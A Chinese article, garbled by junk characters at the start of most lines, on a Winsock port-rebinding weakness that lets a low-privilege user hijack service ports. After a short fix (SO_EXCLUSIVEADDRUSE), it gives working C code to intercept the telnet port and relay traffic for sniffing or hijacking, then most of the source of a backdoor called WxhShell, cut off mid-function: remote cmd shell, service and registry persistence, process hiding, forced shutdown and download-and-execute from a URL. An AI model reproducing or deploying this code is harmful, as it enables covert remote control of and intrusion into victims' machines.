在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\(2sW^fY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1#+S+g@# YS"=yye3e saddr.sin_family = AF_INET;
pIqeXY c'yxWZEv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
v mk2{f,g
r3UUlR/Do bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
w ;^ra<*<+ 86F1.ve 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>tW#/\x{ sLxc(d'A 这意味着什么?意味着可以进行如下的攻击:
&0JI!bR( A^<jy=F& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|aq"#Ml) JDT`C2-Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P@c5pc#| 61'XgkacDS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8FY?!C .,6-u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-e:`|(Mo Z/+#pWBI! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6(ol1
(U $1`2kM5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
cSV aI yD}B%\45 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l!u_"I8j5 g]0_5?i #include
P-"y3 ZE= #include
7zG_(83)K #include
qY!Zt_Be6 #include
:"/d|i`T DWORD WINAPI ClientThread(LPVOID lpParam);
}&D32\ int main()
U-M>=3|N {
g3y+&Y_ WORD wVersionRequested;
oNF6<A(@$ DWORD ret;
@~a%/GQ#n* WSADATA wsaData;
%1+4_g9 BOOL val;
(SAs- SOCKADDR_IN saddr;
[d]9Oa4 SOCKADDR_IN scaddr;
)+9Uoe~6 int err;
$~T4hv : SOCKET s;
<wD-qT W SOCKET sc;
[/8%3 int caddsize;
S 30%)<W HANDLE mt;
0<@@?G DWORD tid;
(n_/`dP wVersionRequested = MAKEWORD( 2, 2 );
'TB2:W3 err = WSAStartup( wVersionRequested, &wsaData );
_X
x/(.O if ( err != 0 ) {
:d'8x printf("error!WSAStartup failed!\n");
wk_@R=*(\ return -1;
--BW9]FW }
b4N[)%@ saddr.sin_family = AF_INET;
7B66]3v #o#H?Vo9b //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
' S/gmn fe_5LC" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
X#^[<5 saddr.sin_port = htons(23);
Slc\&Eb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
om:VFs\U {
}Jj}%XxKs printf("error!socket failed!\n");
nAlQ7' return -1;
+mT_QsLEv }
|+D!=
:x val = TRUE;
a9Zq{Ysj //SO_REUSEADDR选项就是可以实现端口重绑定的
FfT`;j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.8JTe0 {
SOA,kwHRe printf("error!setsockopt failed!\n");
5\VWC I return -1;
c@L< Z` u }
~((O8@}J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
F*ylnB3z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
DkDmE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
l+0oS'`V*L 5]:U9ts# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j^RmrOg, {
NC6&x=!3 ret=GetLastError();
H3-hcx54T printf("error!bind failed!\n");
e~"U @8xk~ return -1;
;#< 0< }
19%imf listen(s,2);
\1M4Dl5! while(1)
_;\_l {
M/`lM$98: caddsize = sizeof(scaddr);
ysnx3(+| //接受连接请求
('+d.F[109 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
F#5~M<`.o if(sc!=INVALID_SOCKET)
5'u<iSmBo {
>Y@H4LF;1x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M x"\5i if(mt==NULL)
2&J)dtqz {
jq0O22
-R printf("Thread Creat Failed!\n");
W: z;|FF break;
Q\sK"~@3 }
]JQULE) }
$U-0)4yf CloseHandle(mt);
vo{--+{ky! }
%JTpI` closesocket(s);
4 s9LB WSACleanup();
t\O16O7S return 0;
;*2Cm'8E }
}4X0epPp;: DWORD WINAPI ClientThread(LPVOID lpParam)
]7c=PC {
R`-S/C SOCKET ss = (SOCKET)lpParam;
-jmY)(\ SOCKET sc;
zX i'kB unsigned char buf[4096];
A?OQE9' SOCKADDR_IN saddr;
JC}D`h long num;
|-~Y#] DWORD val;
Pr
C{'XDlU DWORD ret;
a(ZcmYzXU //如果是隐藏端口应用的话,可以在此处加一些判断
{Qj~M<@3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@oGcuE saddr.sin_family = AF_INET;
+:/%3}` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:7;@ZEe saddr.sin_port = htons(23);
H3oFORh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%^6F_F_jS {
{?7Uj printf("error!socket failed!\n");
NDokSw- return -1;
buHJB*?9 }
Q22 GIr val = 100;
<9b&<K: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
es0hm2HT3 {
sV*H`N')S ret = GetLastError();
wVtwx0|1 return -1;
)0k53-h& }
}c:M^Ff if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3Tm+g2w2V8 {
d2L&Z_} ret = GetLastError();
bpa?C return -1;
3=V&K- }
&5!8F(7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ZS o) {
;q>ah!"k printf("error!socket connect failed!\n");
o^wqFX(Y closesocket(sc);
<wHP2|<l* closesocket(ss);
}Ou}+^Bc return -1;
+ LJ73
! }
u)Whr@m while(1)
"d}Gp9+$VY {
GTxk%
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
KqP#6^ _ //如果是嗅探内容的话,可以再此处进行内容分析和记录
;qV>L=a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*qpSXmOz num = recv(ss,buf,4096,0);
M )(DZ} if(num>0)
oxtay7fx send(sc,buf,num,0);
LFV%&y|L else if(num==0)
05 ^h" break;
/BL4<T f num = recv(sc,buf,4096,0);
tX~w{|k if(num>0)
/dIzY0<aO send(ss,buf,num,0);
dDGQ`+H9 else if(num==0)
]eV8b*d6 break;
K:WDl;8(d }
62NsJ<#> closesocket(ss);
pQQH)`J|t
closesocket(sc);
gnHbb-<i, return 0 ;
2B`JGFcdcB }
#lO Mm9 b\5F ]r !bP@n ==========================================================
{K!)Ss o{[qZc_% 下边附上一个代码,,WXhSHELL
Wa~=bH z0Z%m@ ==========================================================
!dT4 5~S5F3 #include "stdafx.h"
.jK4?}] tT._VK]o&R #include <stdio.h>
Ew$C
;&9 #include <string.h>
*yGGBqd #include <windows.h>
5`_SN74o #include <winsock2.h>
6wg^FD_Q #include <winsvc.h>
f?)-}\[IR{ #include <urlmon.h>
Ws12b$ 5Ynd c)Z #pragma comment (lib, "Ws2_32.lib")
UGatWj #pragma comment (lib, "urlmon.lib")
[<TrS/,)> - !
S_ryL #define MAX_USER 100 // 最大客户端连接数
f)<6 #define BUF_SOCK 200 // sock buffer
x|29L7i #define KEY_BUFF 255 // 输入 buffer
CU~PT. Kf-JcBsrT #define REBOOT 0 // 重启
7x8
yxE #define SHUTDOWN 1 // 关机
|&4/n6;P$0 MfkN]\Jyw #define DEF_PORT 5000 // 监听端口
kSo"Ak! DIUjn;>k8 #define REG_LEN 16 // 注册表键长度
o,wUc"CE #define SVC_LEN 80 // NT服务名长度
7mfS*aCb 'E.w=7z& // 从dll定义API
f<6lf7qzC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/<BI46B\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*n"{J(Jt` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
d0 /#nz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ll?X@S (Awm9|.{+ // wxhshell配置信息
G]aOHJ:. struct WSCFG {
{Hk}Kow int ws_port; // 监听端口
<\S:'g"( char ws_passstr[REG_LEN]; // 口令
W!(LF7_! int ws_autoins; // 安装标记, 1=yes 0=no
XB5DPx char ws_regname[REG_LEN]; // 注册表键名
\.}c9*) char ws_svcname[REG_LEN]; // 服务名
9MqGIOQ${j char ws_svcdisp[SVC_LEN]; // 服务显示名
NyuQMU char ws_svcdesc[SVC_LEN]; // 服务描述信息
C9 j|OSgk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N4HqLh23H int ws_downexe; // 下载执行标记, 1=yes 0=no
]J]h#ZHx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{(?4!rh char ws_filenam[SVC_LEN]; // 下载后保存的文件名
pmYHUj
# !Xw5<J3L- };
(C)p9-, 3T0"" !Q // default Wxhshell configuration
f|oh.z_R struct WSCFG wscfg={DEF_PORT,
t.C5+^+% "xuhuanlingzhe",
<
FAheE+ 1,
{+ b7sA3 "Wxhshell",
p{dj~ &v "Wxhshell",
/z $u]X "WxhShell Service",
pI<f) r "Wrsky Windows CmdShell Service",
l}M!8:UzU "Please Input Your Password: ",
1yY0dOoLG) 1,
S`Rs82> "
http://www.wrsky.com/wxhshell.exe",
[=`q>|;pOv "Wxhshell.exe"
5Jnlz@P9 };
E&:,oG2M I1&aM}y{G // 消息定义模块
\z}
Ic%Tp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w@fi{H(R char *msg_ws_prompt="\n\r? for help\n\r#>";
( &x['IR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
bi;1s'Y<D char *msg_ws_ext="\n\rExit.";
g<
.qUBPKX char *msg_ws_end="\n\rQuit.";
Ny)X+2Ae char *msg_ws_boot="\n\rReboot...";
C+&l<
fM& char *msg_ws_poff="\n\rShutdown...";
#gw]'&{8D char *msg_ws_down="\n\rSave to ";
/;
85i6 IV)j1 char *msg_ws_err="\n\rErr!";
jmW7)jT8: char *msg_ws_ok="\n\rOK!";
n'6jou y1L,0 ] char ExeFile[MAX_PATH];
7"D.L-H int nUser = 0;
)@bQu~Y HANDLE handles[MAX_USER];
C$)onk int OsIsNt;
)dd@\n$6 %D "I SERVICE_STATUS serviceStatus;
koi^l`B$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
^5
Tqy(M x]ot 2 // 函数声明
&b& , int Install(void);
^_mj int Uninstall(void);
y4fdq7i~}9 int DownloadFile(char *sURL, SOCKET wsh);
@7n"yp*" int Boot(int flag);
0_t!T'jr7 void HideProc(void);
h@@=M int GetOsVer(void);
Jxm.cC5z. int Wxhshell(SOCKET wsl);
NQ2E void TalkWithClient(void *cs);
D.XvG _ int CmdShell(SOCKET sock);
FzC'G57Kl int StartFromService(void);
-A!%*9Z int StartWxhshell(LPSTR lpCmdLine);
7Hu3>4< P7/X|M z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
jEJT-*I1+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
uM6+?A9@l k"w"hg&e // 数据结构和表定义
k|d+#u[Mj@ SERVICE_TABLE_ENTRY DispatchTable[] =
Ooy7*W'; {
jo@J}`\Zt {wscfg.ws_svcname, NTServiceMain},
jW@Uo=I[ {NULL, NULL}
*-p}z@8 };
Mf``_=K 8)I^ t81 // 自我安装
@f_+=}|dc int Install(void)
[!OxZ! {
|ZBI * char svExeFile[MAX_PATH];
;4~hB HKEY key;
W5MTD]J strcpy(svExeFile,ExeFile);
Q]>.b%s[ pyvSwD5t // 如果是win9x系统,修改注册表设为自启动
HyWCMK6b if(!OsIsNt) {
?6Y?a2 | if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D}/vLw :v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a:6m7U)P#5 RegCloseKey(key);
Tnm.A? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M =r)I~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5XBH$&Td RegCloseKey(key);
TRq6NB return 0;
yz8jw:d^- }
v_-dx }
c0u^zH< }
DR<9#RRD else {
G'A R`"F 0"bcdG<} // 如果是NT以上系统,安装为系统服务
?5
7Sk+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
I2 P@L?h if (schSCManager!=0)
D d</`iUq {
"#\;H$+ SC_HANDLE schService = CreateService
w+CA1q< (
@s2y~0}# schSCManager,
'q:`? nJ^ wscfg.ws_svcname,
:6\qpex wscfg.ws_svcdisp,
]?[fsdAQW SERVICE_ALL_ACCESS,
p.?rey<% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
LSr]S79N1 SERVICE_AUTO_START,
~R92cH>L SERVICE_ERROR_NORMAL,
,\%c^,HLJ svExeFile,
)I.$=s NULL,
B0]~el NULL,
6,{$J NULL,
0KOgw*>_ NULL,
^.NU|NQi' NULL
JcxThZP~ );
#O dJ"1A| if (schService!=0)
*bA.zmzM {
"1M[5\Ax CloseServiceHandle(schService);
TbW38\>.R CloseServiceHandle(schSCManager);
jtc]>]6i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
NHZz _a= strcat(svExeFile,wscfg.ws_svcname);
s,&Z=zt0R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
JnM["Q=` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'(|ofJe! RegCloseKey(key);
_zi| return 0;
WEi2=3dV }
0Z{ZO*rK }
Hja3a{LH CloseServiceHandle(schSCManager);
nc|p ) }
G*P#]eO }
X_\otVh(D '16b2n+F@# return 1;
'$%l7 }
,1o FPa{? OYTkV}tG // 自我卸载
%Y*Ndt 4 int Uninstall(void)
wcY?rE9 {
#'9HU2 HKEY key;
@i IRmQ Dwfu.ZJa if(!OsIsNt) {
( 0_2sfS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YglmX"fLf RegDeleteValue(key,wscfg.ws_regname);
<B6H. P = RegCloseKey(key);
dVT$ VQg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RdRp.pb8 RegDeleteValue(key,wscfg.ws_regname);
l]l'4@1 RegCloseKey(key);
338k?nHxv return 0;
GDiBl* D }
p4
^yVa }
n]o<S+z }
vT,AMja else {
q6V>zi mSh[}%swj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&Ys<@M7E: if (schSCManager!=0)
C1 GKLl~ {
JYbL?N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Vb]=B~ ^` if (schService!=0)
x)O!["'" {
K^<BW(s if(DeleteService(schService)!=0) {
+}os&[S CloseServiceHandle(schService);
UhQj
Qaa~ CloseServiceHandle(schSCManager);
?QdWrE_
return 0;
aQ\$A`? }
57 CloseServiceHandle(schService);
[~c|mOk }
a'yK~;+_9 CloseServiceHandle(schSCManager);
ML56k~"BL }
dk4CpN }
VY=jc~c]v h^(*Tv-! return 1;
dn$!& }
= x)-u8P DAr1C+Dy
// 从指定url下载文件
kzUIZ/+ZL, int DownloadFile(char *sURL, SOCKET wsh)
^'{Fh"5 {
]Wlco HRESULT hr;
p}pjfG char seps[]= "/";
eF-."1 char *token;
qHlQ+:n char *file;
. ~~T\rmI char myURL[MAX_PATH];
"CQa.% char myFILE[MAX_PATH];
=wV<hg)C uGK.\PB$ strcpy(myURL,sURL);
,G?WAOy, token=strtok(myURL,seps);
h_,i&d@( while(token!=NULL)
j@3Q;F0ba {
T;a}#56{^ file=token;
~H<6gN<j(. token=strtok(NULL,seps);
+.b,AqJ/ }
.2Elr(&*h b&N'C9/8 GetCurrentDirectory(MAX_PATH,myFILE);
LxSpctiNx strcat(myFILE, "\\");
>7T'OC strcat(myFILE, file);
h_3E)jc send(wsh,myFILE,strlen(myFILE),0);
0#Y5_i|p send(wsh,"...",3,0);
a:OQGhc= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~1AgD-:Jz if(hr==S_OK)
`MN4uC return 0;
,77d(bR< else
_FU_Ubkr return 1;
$AjHbU.I{ Ed df2;-. }
?(F6#"/E <7Or{:Sc90 // 系统电源模块
cO+qs[
BQ int Boot(int flag)
k&vz7Q`T {
2,b(,3{`4: HANDLE hToken;
BLf>_bUk TOKEN_PRIVILEGES tkp;
h#
o6K# ;~ $'2f~U if(OsIsNt) {
m6\E$;` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+RM SA^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+YKi, tkp.PrivilegeCount = 1;
hPkWCoQpq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^Hnb}L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
CMG&7(MR if(flag==REBOOT) {
#3@rS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g-</ua(j return 0;
DIfaVo/" }
JWhdMU else {
:tB1D@Cb6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
iDz++VNV return 0;
Sc1 8dC0 }
gpvYb7Of0 }
kY|utoAP else {
H.|#c^I if(flag==REBOOT) {
(Ag16 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
FF(#]vz ' return 0;
`O!X(( }
~IfJwBn-i else {
j<99FW"@e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fo#fg8zX% return 0;
BxWPC#5
}
HU8900k+ }
n,V[eW#m'L p{Yv3dNl return 1;
F^t DL: }
Vvn2 Ep 2~1SQ.Q<RY // win9x进程隐藏模块
Is)u } void HideProc(void)
m '|bGV {
oWim}Er= FxtQXu-g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
F|o:W75 if ( hKernel != NULL )
j_!F*yul {
fF$<7O)+] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L_uVL#To ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
NMa} {*sQ FreeLibrary(hKernel);
:Ij{s }
g1/[eoZzk tqvN0vY5 return;
ug!s7fo^ }
J6s`'gFns qo90t{|c // 获取操作系统版本
Ustv{:7v int GetOsVer(void)
<ro7vPKNa {
uk<4+x,2) OSVERSIONINFO winfo;
8 S:w7Hr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&Fzb6/ GetVersionEx(&winfo);
6S'yZQ|b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8>2.UrC return 1;
j9x<Y] else
h5{'Q$Erl return 0;
1MP~dRZ$ }
xd q?/^E zl>nSndRE // 客户端句柄模块
av}k)ZT_ int Wxhshell(SOCKET wsl)
eueH)Xkf {
G7`ko1- SOCKET wsh;
\Xt7`I< struct sockaddr_in client;
hLd^ agX DWORD myID;
TluW-S zU kgG61 while(nUser<MAX_USER)
E:sf{B'& {
N
,'GN[s int nSize=sizeof(client);
B4c]}r+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|"X*@s\' if(wsh==INVALID_SOCKET) return 1;
xaq-.IQAM$ 8rnwXPBN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
';w#w<yaI if(handles[nUser]==0)
b,l$1{ closesocket(wsh);
25nt14Y0u else
<y2U3;t nUser++;
(^8Y|:Tz }
~ drS} V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
zH?! VuhGx:Xl return 0;
*KZYv=s,u }
?mwt~_s9 ]^. _z // 关闭 socket
RVnjNy;O` void CloseIt(SOCKET wsh)
iW]j9} t {
8\@m
- E!{ closesocket(wsh);
:}L[sl\R nUser--;
U8s2|G;K ExitThread(0);
!=*g@mgF }
T]f ;km ExY] Sdx // 客户端请求句柄
MnsJEvn/ void TalkWithClient(void *cs)
0rQMLx {
E<{R.r .;y.]Z/; SOCKET wsh=(SOCKET)cs;
Z,
zWuE3 char pwd[SVC_LEN];
#vz7y(v char cmd[KEY_BUFF];
Q04al= char chr[1];
y|C(X int i,j;
qTRsZz@ ,8S/t+H while (nUser < MAX_USER) {
.KB^3pOpx 2@n{yYwy if(wscfg.ws_passstr) {
[`#CXq' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O%WIf__Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1![!+X:w //ZeroMemory(pwd,KEY_BUFF);
e/KDw i=0;
}/0X'o while(i<SVC_LEN) {
\#2Z)Kz j"t(0m // 设置超时
WrnrFz fd_set FdRead;
g+8OekzB5 struct timeval TimeOut;
du
$:jN\} FD_ZERO(&FdRead);
uanhr)Ys FD_SET(wsh,&FdRead);
8l>?Pv TimeOut.tv_sec=8;
6C1#/ TimeOut.tv_usec=0;
J|W<; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1jmjg~W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pxA? A9KET$i@v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.Yamc#A- pwd
=chr[0]; m<<+
if(chr[0]==0xd || chr[0]==0xa) { ?(@
7r_j
pwd=0; fbyd"(V8r
break; 2 ~dE<}
} a
kk NI3
i++; |0&IXOW"XF
} v^sv<4*%
on!,c>nNa
// 如果是非法用户,关闭 socket Hc;[Cs0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {X!r8i
} =}<IfNA
3<e=g)F
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $!-yr7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k90YV(
vOH4#
while(1) { o@_q]/Mh
\,'m</o~,
ZeroMemory(cmd,KEY_BUFF); :p1u(hflS
RF?`vRZOe
// 自动支持客户端 telnet标准 v8w q,CYV
j=0; vRYQ{:
while(j<KEY_BUFF) { mtpeRVcF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T )&A2q
cmd[j]=chr[0]; ^7`BP%6
if(chr[0]==0xa || chr[0]==0xd) { [>vLf2OID
cmd[j]=0; v1#otrf
break; ,X?{07gH
} h,(26 y/s
j++; zF@/K`
} h7*J9[$
A\*>TN>s
// 下载文件 Ky`qskvu
if(strstr(cmd,"http://")) { =?5]()'*n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w$>u b@=
if(DownloadFile(cmd,wsh)) 8:q1~`?5"b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %6t:(z
else ./XYd"p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ml`:UrU
} e_^26^{q
else { eYc$dPE
8 %:Iv(UMk
switch(cmd[0]) { 2/U.|*mH
qRu~$K
// 帮助 b;L\EB
case '?': { ~kV/!=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mg+2.
8%
break; A_rGt?i
} i[i4h"$0
// 安装 8u"U1
case 'i': { 6u?>M9
if(Install()) E[OJ+ ;c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZVc 5u<
else &L3M]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "6A
`
q\
break; {aZ0;
} RCJ|P~*
// 卸载 BqEI(c6
case 'r': { r[e##M
if(Uninstall()) (xycJ`N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?C]vS_jAh
else >:SHV W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PhLn8jNti
break; ]iVcog"T
} 2y75
// 显示 wxhshell 所在路径 xexaQuK
case 'p': { )',R[|<
char svExeFile[MAX_PATH]; {.`vs;U
strcpy(svExeFile,"\n\r"); @?ebuj5{e
strcat(svExeFile,ExeFile); ]IaMp788
send(wsh,svExeFile,strlen(svExeFile),0); ~"gA,e-)
break; rV.}PtcFY
} ` #0:gEo
// 重启 ;J'LS
case 'b': { 1> ?M>vK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n>z9K')
if(Boot(REBOOT)) xl{=Y< ;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5#6|j?_a
else { :x3QRF
closesocket(wsh); "> ypIR<
ExitThread(0); g_E$=j92v
} ?PLPf>e
break; #Bze,?@
} UhF-K#Z9
// 关机 5{TsiZh4
case 'd': { 3l]lwV
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'B$yo]
if(Boot(SHUTDOWN)) SZ7:u895E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ME$[=?7XX
else { Xc++b|k
closesocket(wsh); +:2klJ
ExitThread(0); l03B=$
} 2F[ q).
break; i%iL[id:w
} e}voV0y\v:
// 获取shell
y`iBFC;_
case 's': { q~Hn-5H4Q
CmdShell(wsh); Xxj-
6i
closesocket(wsh); 8bGd} (
ExitThread(0); %X]jaX7
break; thh.A
} R>|{N9
// 退出 Ng&%o
case 'x': { -
nm"of\o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2YL?,uLS
CloseIt(wsh); U)TUOwF
break; 299H$$WS,Z
} g@Z))M+
// 离开 b1q"!+8y
case 'q': { j8i[ONq^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rw[ph[\X
closesocket(wsh); yZ7&b&2nLn
WSACleanup(); (y'hyJo
exit(1); Y;eZ9|Ht9
break; [|wZ77\
} sfH_5
#w
} 5&g@3j]
} Oamg]ST
]OhiYU4
// 提示信息 $QF{iV@6d4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f^ZRT@`O
} >~rTqtKd
} O^PKn_OJ
?5__oT
return; 3d8L6GJ
} [Y/}
^
OF>mF~
// shell模块句柄 2>9C-VL2
int CmdShell(SOCKET sock) hF?1y `20
{ 1#g2A0U,
STARTUPINFO si; <V'@ks%
ZeroMemory(&si,sizeof(si)); t?X877z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qx(xvU9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %QH$ipM
PROCESS_INFORMATION ProcessInfo; _{O>v\u
char cmdline[]="cmd"; UXz<)RvB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mexk~zA^
return 0; ;a!S!%.h
} Rh2+=N<X
OKZV{Gja
// 自身启动模式 PNhe
int StartFromService(void) GMx&y2. Z
{ ;>hO+Wo
typedef struct E =67e=h
{ R- wp9 ^
DWORD ExitStatus; &AMl:@p9
DWORD PebBaseAddress; mUC)gA/
DWORD AffinityMask; PQt")[
DWORD BasePriority; EP&,MYI%E
ULONG UniqueProcessId; o|^3J{3G
